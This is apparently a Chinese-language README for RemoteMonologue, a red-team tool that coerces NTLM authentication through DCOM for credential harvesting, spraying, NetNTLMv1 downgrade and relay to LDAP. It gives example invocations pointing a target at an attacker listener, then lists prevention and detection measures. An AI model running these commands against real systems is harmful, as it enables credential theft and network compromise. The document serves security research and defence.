RemoteMonologue 是一种 Windows 凭据收集技术,通过利用 Interactive User RunAs 键并借助 DCOM 强制 NTLM 认证,从而实现远程用户沦陷。
详细内容请阅读 X-Force Red 的 RemoteMonologue: Weaponizing DCOM for NTLM Authentication Coercions。
🔹 通过 DCOM 进行认证强制(-dcom)
ServerDataCollectorSet、FileSystemImage、MSTSWebProxy、UpdateSession)触发针对指定监听器(-auth-to)的 NTLM 认证。🔹 凭据喷洒(-spray)
🔹 NetNTLMv1 降级攻击(-downgrade)
🔹 WebClient 服务滥用(-webclient)
🔹 用户枚举(-query)
注意: 需要目标系统的本地管理员权限。
pip install impacket
以下是在使用 Responder 作为监听器时,通过 NetNTLMv1 降级攻击运行 RemoteMonologue 的示例。默认情况下,如果未指定 DCOM 选项,该工具将使用 ServerDataCollectorSet DCOM 对象。
RemoteMonologue.py domain/user:password@target -auth-to [listener IP] -downgrade

下面是另一个示例,这次攻击使用 FileSystemImage DCOM 对象并启用 WebClient 服务来获取 HTTP 认证,随后通过 ntlmrelayx 将其转发到 LDAP。
RemoteMonologue.py domain/user:password@target -auth-to [listener NETBIOS@PORT] -webclient -dcom FileSystemImage

为了防范和检测这些技术,可以实施若干预防性和检测性措施。
预防措施:
启用 LDAP 签名和通道绑定:在域控制器上配置 LDAP 签名强制和通道绑定,以保护 LDAP 端点免受中继攻击。注意:从 Windows Server 2025 开始,这些设置将默认强制启用。
升级到最新的 Windows 版本:将服务器升级到 Windows Server 2025,将工作站升级到 Windows 11 版本 24H2,以缓解 NetNTLM 降级攻击,因为这些版本已移除 NTLMv1。
强制实施 SMB 签名:在 Windows 服务器上启用并强制 SMB 签名,以防止 SMB 中继攻击。
实施强密码策略:强制要求强密码,使密码破解攻击更加困难。
检测机会:
监控对 DCOM 对象的远程访问:跟踪对受影响 DCOM 对象及其特定属性和方法的访问,以识别异常活动。
监控注册表修改:监控 RunAs 和 LmCompatibilityLevel 注册表项的更改。
跟踪 WebClient 服务活动:监控 WebClient 服务被远程启用的实例,因为这是用于促进基于 HTTP 的 NTLM 认证。